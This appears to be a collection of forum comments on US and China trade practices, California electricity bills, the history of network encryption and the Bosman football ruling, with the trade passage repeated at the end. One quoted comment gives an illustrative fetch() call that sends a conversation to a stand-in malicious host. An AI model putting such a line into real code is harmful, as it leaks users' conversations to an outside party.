You are right. China does not really implement free market without government interaction. Then again, neither does the US or any other country for that matter.
The US used its massive state surveillance apparel to spy on essentially every country in the world, not only for diplomatic advantage, which you might argue would be fair game, but also to steal industrial secrets and promote US companies (see e.g. https://www.mediapart.fr/en/journal/france/290615/revealed-m... for France, one of their supposed allies).
Paraphrasing you:
> The US heavily subsidize their companies and have large government bureaus that strategically guide industries over long time frames. For example, the US has been on a long, intentional path to destroying all international corn producers via subsidies, dumping, etc.
The US essentially destroyed the traditional crop growing in Mexico by a combination of subsidies and free trade agreements.
It is _true_ that China does not play a fair free trade game. It is _not true_ that the US, or any other country, does. (The reasons for it should be obvious btw, free trade only works if legislation is more or less the same everywhere, otherwise it's just stupid.)
Is electricity insanely expensive, or do californians use an insane amount of electricity? I just received my yearly bill in central europe, and $56k would pay for approximately 51 years, I'm having trouble reconciling the numbers.
Don't think reasonably sized house, think mansion with 6 bedrooms, a hot tub, a sauna, and a multiple EVs. With peak rates being $0.71/KWh, $1000/month is only ("only") 1400 KWh. High, but for a household of 5 adults, each with their own TV on top of everything else, it's not inconceivable. There's also a discount if you're poor, which translates to a surcharge if you're rich. A smaller household's bill is gonna be a fifth of that, closer to $200 than $1000.
To give a concrete datapoint, last month's bill was $820 for just the electricity generation and transmission (so no gas included) - that was for 1900 kWh for 1 month. That handles a 2000 sqft house with central AC, with two EV cars that are driven about 20mins/day, and we only charge those at night when the rates are low (low=$0.3/kWh)
> I also feel weird that the bulk of the discussion is on hypothetical validity of a security protocol usually focused on the maths, when all of that can be subverted with a fetch("https://malvevolentactor.com", {body: JSON.stringify(convo)}) at the rendering layer. Anyone have any thoughts on this?
I think your comment in general, and this part in particular, forgets what was the state of telecommunications 10-15 years ago. Nothing was encrypted. Doing anything on a public wifi was playing russian roulette, and signal intelligence agencies were having the time of their lives.
The issues you are highlighting _are_ present, of course; they were just of a lower priority than network encryption.
> That the guy's case gets a right affirmed yet in his individual case it won't make a difference has to be a pretty bitter pill to swallow.
Big Jean-Marc Bosman energy, who essentially changed the face of football (soccer) forever in the 90's because his club didn't want to let him leave, but he didn't play anymore all the trials.
The US used its massive state surveillance apparel to spy on essentially every country in the world, not only for diplomatic advantage, which you might argue would be fair game, but also to steal industrial secrets and promote US companies (see e.g. https://www.mediapart.fr/en/journal/france/290615/revealed-m... for France, one of their supposed allies).
Paraphrasing you:
> The US heavily subsidize their companies and have large government bureaus that strategically guide industries over long time frames. For example, the US has been on a long, intentional path to destroying all international corn producers via subsidies, dumping, etc.
The US essentially destroyed the traditional crop growing in Mexico by a combination of subsidies and free trade agreements.
It is _true_ that China does not play a fair free trade game. It is _not true_ that the US, or any other country, does. (The reasons for it should be obvious btw, free trade only works if legislation is more or less the same everywhere, otherwise it's just stupid.)